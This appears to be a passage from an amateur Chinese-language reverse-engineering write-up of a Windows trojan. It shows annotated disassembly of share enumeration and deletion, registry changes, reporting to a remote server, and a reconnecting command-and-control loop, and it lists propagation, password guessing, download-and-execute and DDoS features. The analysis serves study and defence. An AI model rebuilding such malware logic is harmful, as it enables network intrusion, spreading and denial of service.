004160F6   |.  FF15 7C5A4400         call dword ptr ds:[445A7C]                         ;  advapi32.RegSetValueExA
004160FC   |.  85C0                  test eax,eax                                       ;  取消系统匿名登陆功能
004160FE   |.  74 07                 je short 3.00416107
00416100   |.  68 70F54300           push 3.0043F570
00416105   |.  EB 05                 jmp short 3.0041610C
00416107   |>  68 2CF54300           push 3.0043F52C
0041610C   |>  8D85 ECFDFFFF         lea eax,dword ptr ss:[ebp-214]
00416112   |.  50                    push eax
00416113   |.  E8 2D0D0000           call 3.00416E45
00416118   |.  59                    pop ecx
00416119   |.  59                    pop ecx
0041611A   |.  FF75 FC               push dword ptr ss:[ebp-4]
0041611D   |.  FF15 345A4400         call dword ptr ds:[445A34]                         ;  advapi32.RegCloseKey
00416123   |.  EB 1A                 jmp short 3.0041613F
00416125   |>  68 E0F44300           push 3.0043F4E0
0041612A   |.  EB 05                 jmp short 3.00416131
0041612C   |>  68 A0F44300           push 3.0043F4A0
00416131   |>  8D85 ECFDFFFF         lea eax,dword ptr ss:[ebp-214]
00416137   |.  50                    push eax
00416138   |.  E8 080D0000           call 3.00416E45
0041613D   |.  59                    pop ecx
0041613E   |.  59                    pop ecx
0041613F   |>  397D 14               cmp dword ptr ss:[ebp+14],edi
```

```
00416142   |.  75 1A                 jnz short 3.0041615E
00416144   |.  6A 01                 push 1
00416146   |.  8D85 ECFDFFFF           lea eax,dword ptr ss:[ebp-214]
0041614C   |.  FF75 10                push dword ptr ss:[ebp+10]
0041614F   |.  50                     push eax
00416150   |.  FF75 0C                push dword ptr ss:[ebp+C]
00416153   |.  FF75 08                push dword ptr ss:[ebp+8]
00416156   |.  E8 AD69FFFF             call 3.0040CB08
0041615B   |.  83C4 14                add esp,14
0041615E   |>  8D85 ECFDFFFF          lea eax,dword ptr ss:[ebp-214]
00416164   |.  50                     push eax
00416165   |.  E8 0C51FFFF            call 3.0040B276
0041616A   |.  393D 505B4400          cmp dword ptr ds:[445B50],edi
00416170   |.  59                     pop ecx
00416171   |.  0F85 62010000          jnz 3.004162D9
00416177   |.  53                     push ebx
00416178   |.  897D FC                mov dword ptr ss:[ebp-4],edi
0041617B   |.  897D EC                 mov dword ptr ss:[ebp-14],edi
0041617E   |.  897D F4                mov dword ptr ss:[ebp-C],edi
00416181   |>  8D45 F4                /lea eax,dword ptr ss:[ebp-C]
00416184   |.  50                     |push eax
00416185   |.  8D45 EC                |lea eax,dword ptr ss:[ebp-14]
00416188   |.  50                     |push eax
00416189   |.  8D45 FC                |lea eax,dword ptr ss:[ebp-4]
0041618C   |.  50                     |push eax
0041618D   |.  8D45 F8                |lea eax,dword ptr ss:[ebp-8]
00416190   |.  6A FF                  |push -1
00416192   |.  50                     |push eax
00416193   |.  68 F6010000            |push 1F6
00416198   |.  57                     |push edi
00416199   |.  FF15 A4594400          |call dword ptr ds:[4459A4]                ;  netapi32.NetShareEnum
0041619F   |.  3BC7                    |cmp eax,edi                                ;  检测是否存在共享漏
洞
004161A1   |.  8945 F0                |mov dword ptr ss:[ebp-10],eax
004161A4   |.  74 78                  |je short 3.0041621E
004161A6   |.  3D EA000000             |cmp eax,0EA
004161AB   |.  74 71                  |je short 3.0041621E
004161AD   |.  BE 08F34300             |mov esi,3.0043F308                         ;  IPC$
004161B2   |>  FF36                    |/push dword ptr ds:[esi]
004161B4   |.  57                     ||push edi
004161B5   |.  E8 9F6FFFFF            ||call 3.0040D159                         ;  删除共享
004161BA   |.  59                     ||pop ecx
004161BB   |.  59                     ||pop ecx
004161BC   |.  FF36                   ||push dword ptr ds:[esi]
004161BE   |.  85C0                   ||test eax,eax
004161C0   |.  75 07                  ||jnz short 3.004161C9
004161C2   |.  68 6CF44300            ||push 3.0043F46C
004161C7   |.  EB 05                  ||jmp short 3.004161CE
004161C9   |>  68 30F44300            ||push 3.0043F430
004161CE   |>  8D85 ECFDFFFF          ||lea eax,dword ptr ss:[ebp-214]
004161D4   |.  68 00020000            ||push 200
004161D9   |.  50                     ||push eax
```

```
004161DA   |.  E8 DB110000          ||call 3.004173BA
004161DF   |.  83C4 10              ||add esp,10
004161E2   |.  397D 14              ||cmp dword ptr ss:[ebp+14],edi
004161E5   |.  75 1A                ||jnz short 3.00416201
004161E7   |.  6A 01                ||push 1
004161E9   |.  8D85 ECFDFFFF        ||lea eax,dword ptr ss:[ebp-214]
004161EF   |.  FF75 10              ||push dword ptr ss:[ebp+10]
004161F2   |.  50                   ||push eax
004161F3   |.  FF75 0C              ||push dword ptr ss:[ebp+C]
004161F6   |.  FF75 08              ||push dword ptr ss:[ebp+8]
004161F9   |.  E8 0A69FFFF          ||call 3.0040CB08                                    ;  把相关信息发送到远程
服务器
004161FE   |.  83C4 14              ||add esp,14
00416201   |>  8D85 ECFDFFFF        ||lea eax,dword ptr ss:[ebp-214]
00416207   |.  50                   ||push eax
00416208   |.  E8 6950FFFF          ||call 3.0040B276
0041620D   |.  83C6 08              ||add esi,8
00416210   |.  59                   ||pop ecx
00416211   |.  81FE 28F34300        ||cmp esi,3.0043F328                                 ;  ASCII "D:\"
00416217   |.^ 7C 99                |\jl short 3.004161B2
00416219   |.  E9 98000000          |jmp 3.004162B6
0041621E   |>  8B75 F8              |mov esi,dword ptr ss:[ebp-8]
00416221   |.  6A 01                |push 1
00416223   |.  5B                   |pop ebx
00416224   |.  395D FC              |cmp dword ptr ss:[ebp-4],ebx
00416227   |.  0F82 80000000        |jb 3.004162AD
0041622D   |>  8B3E                 |/mov edi,dword ptr ds:[esi]
0041622F   |.  57                   ||push edi
00416230   |.  E8 C4150000          ||call 3.004177F9
00416235   |.  66:837C47 FE 24      ||cmp word ptr ds:[edi+eax*2-2],24
0041623B   |.  59                   ||pop ecx
0041623C   |.  75 64                ||jnz short 3.004162A2
0041623E   |.  57                   ||push edi
0041623F   |.  E8 026EFFFF          ||call 3.0040D046
00416244   |.  50                   ||push eax
00416245   |.  6A 00                ||push 0
00416247   |.  E8 0D6FFFFF          ||call 3.0040D159
0041624C   |.  83C4 0C              ||add esp,0C
0041624F   |.  FF36                 ||push dword ptr ds:[esi]
00416251   |.  85C0                 ||test eax,eax
00416253   |.  75 07                ||jnz short 3.0041625C
00416255   |.  68 FCF34300          ||push 3.0043F3FC
0041625A   |.  EB 05                ||jmp short 3.00416261
0041625C   |>  68 C0F34300          ||push 3.0043F3C0
00416261   |>  8D85 ECFDFFFF        ||lea eax,dword ptr ss:[ebp-214]
00416267   |.  68 00020000          ||push 200
0041626C   |.  50                   ||push eax
0041626D   |.  E8 48110000          ||call 3.004173BA
00416272   |.  83C4 10              ||add esp,10
00416275   |.  837D 14 00           ||cmp dword ptr ss:[ebp+14],0
00416279   |.  75 1A                ||jnz short 3.00416295
0041627B   |.  6A 01                ||push 1
```

```
0041627D   |.   8D85 ECFDFFFF          ||lea eax,dword ptr ss:[ebp-214]
00416283   |.   FF75 10                ||push dword ptr ss:[ebp+10]
00416286   |.   50                     ||push  eax
00416287   |.   FF75 0C                ||push dword ptr ss:[ebp+C]
0041628A   |.   FF75 08                ||push dword ptr ss:[ebp+8]
0041628D   |.   E8 7668FFFF            ||call 3.0040CB08
00416292   |.   83C4 14                ||add esp,14
00416295   |>   8D85 ECFDFFFF          ||lea eax,dword ptr ss:[ebp-214]
0041629B   |.   50                     ||push eax
0041629C   |.   E8 D54FFFFF            ||call 3.0040B276
004162A1   |.   59                     ||pop ecx
004162A2   |>   83C6 28                ||add esi,28
004162A5   |.   43                     ||inc ebx
004162A6   |.   3B5D FC                ||cmp ebx,dword ptr ss:[ebp-4]
004162A9   |.^ 76 82                  |\jbe short 3.0041622D
004162AB   |.   33FF                   |xor edi,edi
004162AD   |>   FF75 F8                |push dword ptr ss:[ebp-8]
004162B0   |.   FF15 E85A4400          |call dword ptr ds:[445AE8]                ;  netapi32.NetApiBufferFree
004162B6   |>   817D F0 EA000000       |cmp dword ptr ss:[ebp-10],0EA
004162BD   |.^ 0F84 BEFEFFFF           \je 3.00416181
004162C3   |.   8D85 ECFDFFFF          lea eax,dword ptr ss:[ebp-214]
004162C9   |.   68 88F34300            push 3.0043F388
004162CE   |.   50                     push eax
004162CF   |.   E8 710B0000            call 3.00416E45
004162D4   |.   59                     pop ecx
004162D5   |.   59                     pop ecx
004162D6   |.   5B                     pop ebx
004162D7   |.   EB 13                  jmp short 3.004162EC
004162D9   |>   8D85 ECFDFFFF          lea eax,dword ptr ss:[ebp-214]
004162DF   |.   68 48F34300            push 3.0043F348
004162E4   |.   50                     push eax
004162E5   |.   E8 5B0B0000            call 3.00416E45
004162EA   |.   59                     pop ecx
004162EB   |.   59                     pop ecx
004162EC   |>   397D 14                cmp dword ptr ss:[ebp+14],edi
004162EF   |.   75 19                  jnz short 3.0041630A
004162F1   |.   57                     push edi
004162F2   |.   8D85 ECFDFFFF          lea eax,dword ptr ss:[ebp-214]
004162F8   |.   FF75 10                push dword ptr ss:[ebp+10]
004162FB   |.   50                     push eax
004162FC   |.   FF75 0C                push dword ptr ss:[ebp+C]
004162FF   |.   FF75 08                push dword ptr ss:[ebp+8]
00416302   |.   E8 0168FFFF            call 3.0040CB08
00416307   |.   83C4 14                add esp,14
0041630A   |>   8D85 ECFDFFFF          lea eax,dword ptr ss:[ebp-214]
00416310   |.   50                     push eax
00416311   |.   E8 604FFFFF            call 3.0040B276
00416316   |.   59                     pop ecx
00416317   |.   6A 01                  push 1
00416319   |.   58                     pop eax
0041631A   |.   5F                     pop edi
0041631B   |.   5E                     pop esi
```

```
0041631C   |.   C9                    leave
0041631D   \.   C3                    retn
```

七、连接后的一些活动，大致内容为:共享目录和 IPC 共享漏洞传播,木马带有弱口令字典,可以猜测弱口令,CHAT 聊天功能,下载执行功能,DDOS 攻击功能,文件管理功能,远程终端等功能

```
0040E1F5   /   55                    push ebp
0040E1F6   |.  8BEC                   mov ebp,esp
0040E1F8   |.  81EC 90010000          sub esp,190
0040E1FE   |.  8B45 08                mov eax,dword ptr ss:[ebp+8]
0040E201   |.  56                     push esi
0040E202   |.  57                     push edi
0040E203   |.  6A 59                  push 59
0040E205   |.  59                     pop ecx
0040E206   |.  8BF0                   mov esi,eax
0040E208   |.  8DBD 70FEFFFF          lea edi,dword ptr ss:[ebp-190]
0040E20E   |.  F3:A5                  rep movs dword ptr es:[edi],dword ptr ds:[e>
0040E210   |.  C780 60010000 0100>mov dword ptr ds:[eax+160],1
0040E21A   |>   6A 10                 /push 10                                    ;  Default case of switch 0040E329
0040E21C   |.  8D45 F0                |lea eax,dword ptr ss:[ebp-10]
0040E21F   |.  6A 00                  |push 0
0040E221   |.  50                     |push eax
0040E222   |.  E8 998C0000            |call 3.00416EC0
0040E227   |.  83C4 0C                |add esp,0C
0040E22A   |.  66:C745 F0 0200        |mov word ptr ss:[ebp-10],2
0040E230   |.  FF75 C4                |push dword ptr ss:[ebp-3C]
0040E233   |.  FF15 585A4400          |call dword ptr ds:[445A58]                   ;  ws2_32.ntohs
0040E239   |.  66:8945 F2             |mov word ptr ss:[ebp-E],ax
0040E23D   |.  8D85 74FEFFFF          |lea eax,dword ptr ss:[ebp-18C]
0040E243   |.  50                     |push eax
0040E244   |.  E8 83BEFFFF            |call 3.0040A0CC
0040E249   |.  85C0                   |test eax,eax
0040E24B   |.  59                     |pop ecx
0040E24C   |.  8945 F4                |mov dword ptr ss:[ebp-C],eax
0040E24F   |.  0F84 F2000000          |je 3.0040E347
0040E255   |.  6A 1C                  |push 1C
0040E257   |.  8D45 D4                |lea eax,dword ptr ss:[ebp-2C]
0040E25A   |.  6A 00                  |push 0
0040E25C   |.  50                     |push eax
0040E25D   |.  E8 5E8C0000            |call 3.00416EC0
0040E262   |.  6A 00                  |push 0
0040E264   |.  8D45 D4                |lea eax,dword ptr ss:[ebp-2C]
0040E267   |.  FF35 3CD44200          |push dword ptr ds:[42D43C]
0040E26D   |.  FF35 38D44200          |push dword ptr ds:[42D438]
0040E273   |.  50                     |push eax
0040E274   |.  E8 D46A0000            |call 3.00414D4D
0040E279   |.  8BF8                   |mov edi,eax                                  ;  CHN|762875
0040E27B   |.  8B45 CC                |mov eax,dword ptr ss:[ebp-34]
0040E27E   |.  69C0 34020000          |imul eax,eax,234
0040E284   |.  6A 1B                  |push 1B
```

```
0040E286   |.  05 C8B44400          |add eax,3.0044B4C8                          ;  ASCII "CHN|762875"
0040E28B   |.  57                   |push edi
0040E28C   |.  50                   |push eax
0040E28D   |.  E8 0E9B0000          |call 3.00417DA0
0040E292   |.  83C4 28              |add esp,28
0040E295   |.  6A 06                |push 6
0040E297   |.  6A 01                |push 1
0040E299   |.  6A 02                |push 2
0040E29B   |.  FF15 D85A4400        |call dword ptr ds:[445AD8]                  ;  ws2_32.socket
0040E2A1   |.  8BF0                 |mov esi,eax
0040E2A3   |.  8B45 CC              |mov eax,dword ptr ss:[ebp-34]
0040E2A6   |.  69C0 34020000        |imul eax,eax,234
0040E2AC   |.  6A 10                |push 10
0040E2AE   |.  89B0 BCB44400        |mov dword ptr ds:[eax+44B4BC],esi
0040E2B4   |.  8D45 F0              |lea eax,dword ptr ss:[ebp-10]
0040E2B7   |.  50                   |push eax
0040E2B8   |.  56                   |push esi
0040E2B9   |.  FF15 005A4400        |call dword ptr ds:[445A00]                  ;  ws2_32.connect
0040E2BF   |.  83F8 FF              |cmp eax,-1
0040E2C2   |.  75 1C                |jnz short 3.0040E2E0
0040E2C4   |.  56                   |push esi
0040E2C5   |.  FF15 F05A4400        |call dword ptr ds:[445AF0]                  ;  ws2_32.closesocket
0040E2CB   |.  E8 25BEFFFF          |call 3.0040A0F5
0040E2D0   |.  68 D0070000          |push 7D0                                    ; /Timeout = 2000. ms
0040E2D5   |>  FF15 5C104200        |call dword ptr ds:[<&KERNEL32.Sleep>]       ; \Sleep
0040E2DB   |.^ E9 3AFFFFFF          |jmp 3.0040E21A
0040E2E0   |>  8D85 74FEFFFF        |lea eax,dword ptr ss:[ebp-18C]
0040E2E6   |.  50                   |push eax
0040E2E7   |.  68 50324300          |push 3.00433250
0040E2EC   |.  E8 F9CFFFFF          |call 3.0040B2EA
0040E2F1   |.  FF75 C8              |push dword ptr ss:[ebp-38]
0040E2F4   |.  8D85 74FEFFFF        |lea eax,dword ptr ss:[ebp-18C]
0040E2FA   |.  50                   |push eax
0040E2FB   |.  8D85 74FFFFFF        |lea eax,dword ptr ss:[ebp-8C]
0040E301   |.  50                   |push eax
0040E302   |.  8D85 34FFFFFF        |lea eax,dword ptr ss:[ebp-CC]
0040E308   |.  FFB5 70FEFFFF        |push dword ptr ss:[ebp-190]
0040E30E   |.  57                   |push edi
0040E30F   |.  50                   |push eax
0040E310   |.  8D85 F4FEFFFF        |lea eax,dword ptr ss:[ebp-10C]
0040E316   |.  50                   |push eax
0040E317   |.  56                   |push esi
0040E318   |.  E8 40000000          |call 3.0040E35D
0040E31D   |.  83C4 28              |add esp,28
0040E320   |.  8BF8                 |mov edi,eax
0040E322   |.  56                   |push esi
0040E323   |.  FF15 F05A4400        |call dword ptr ds:[445AF0]                  ;  ws2_32.closesocket
0040E329   |.  85FF                 |test edi,edi                                ;  Switch (cases 1..2)
0040E32B   |.^ 0F84 E9FEFFFF        |je 3.0040E21A
0040E331   |.  83FF 01              |cmp edi,1
0040E334   |.  75 07                |jnz short 3.0040E33D
0040E336   |.  68 A0BB0D00          |push 0DBBA0                                 ;  Case 1 of switch 0040E329
```

```
0040E33B   |.^ EB 98              |jmp short 3.0040E2D5
0040E33D   |>   83FF 02           |cmp edi,2
0040E340   |.   74 09             |je short 3.0040E34B
0040E342   |.^ E9 D3FEFFFF        \jmp 3.0040E21A
0040E347   |>   33C0              xor eax,eax
0040E349   |.   EB 0C             jmp short 3.0040E357
0040E34B   |>   FF75 CC           push dword ptr ss:[ebp-34]          ;   Case 2 of switch 0040E329
0040E34E   |.   E8 BA880000       call 3.00416C0D
0040E353   |.   59                pop ecx
0040E354   |.   6A 02             push 2
0040E356   |.   58                pop eax
0040E357   |>   5F                pop edi
0040E358   |.   5E                pop esi
0040E359   |.   C9                leave
0040E35A   \.   C2 0400           retn 4



0040A0CC   /   FF7424 04          push dword ptr ss:[esp+4]
0040A0D0   |.   FF15 985A4400     call dword ptr ds:[445A98]          ; ws2_32.inet_addr
0040A0D6   |.   83F8 FF           cmp eax,-1                            ;  得到地址
0040A0D9   |.   75 19             jnz short 3.0040A0F4
0040A0DB   |.   FF7424 04         push dword ptr ss:[esp+4]
0040A0DF   |.   FF15 DC5A4400     call dword ptr ds:[445ADC]            ; ws2_32.gethostbyname
0040A0E5   |.   85C0              test eax,eax                          ；返回对应于给定主机名的主机信息


0040A0E7   |.   75 04             jnz short 3.0040A0ED
0040A0E9   |.   83C8 FF           or eax,FFFFFFFF
0040A0EC   |.   C3                retn
0040A0ED   |>   8B40 0C           mov eax,dword ptr ds:[eax+C]
0040A0F0   |.   8B00              mov eax,dword ptr ds:[eax]
0040A0F2   |.   8B00              mov eax,dword ptr ds:[eax]
0040A0F4   \>   C3                retn
```

后记:本文仅限于学习研究之用,如有不妥,尽情大家见谅.第一次分析木马.分析不好,请大家不要笑.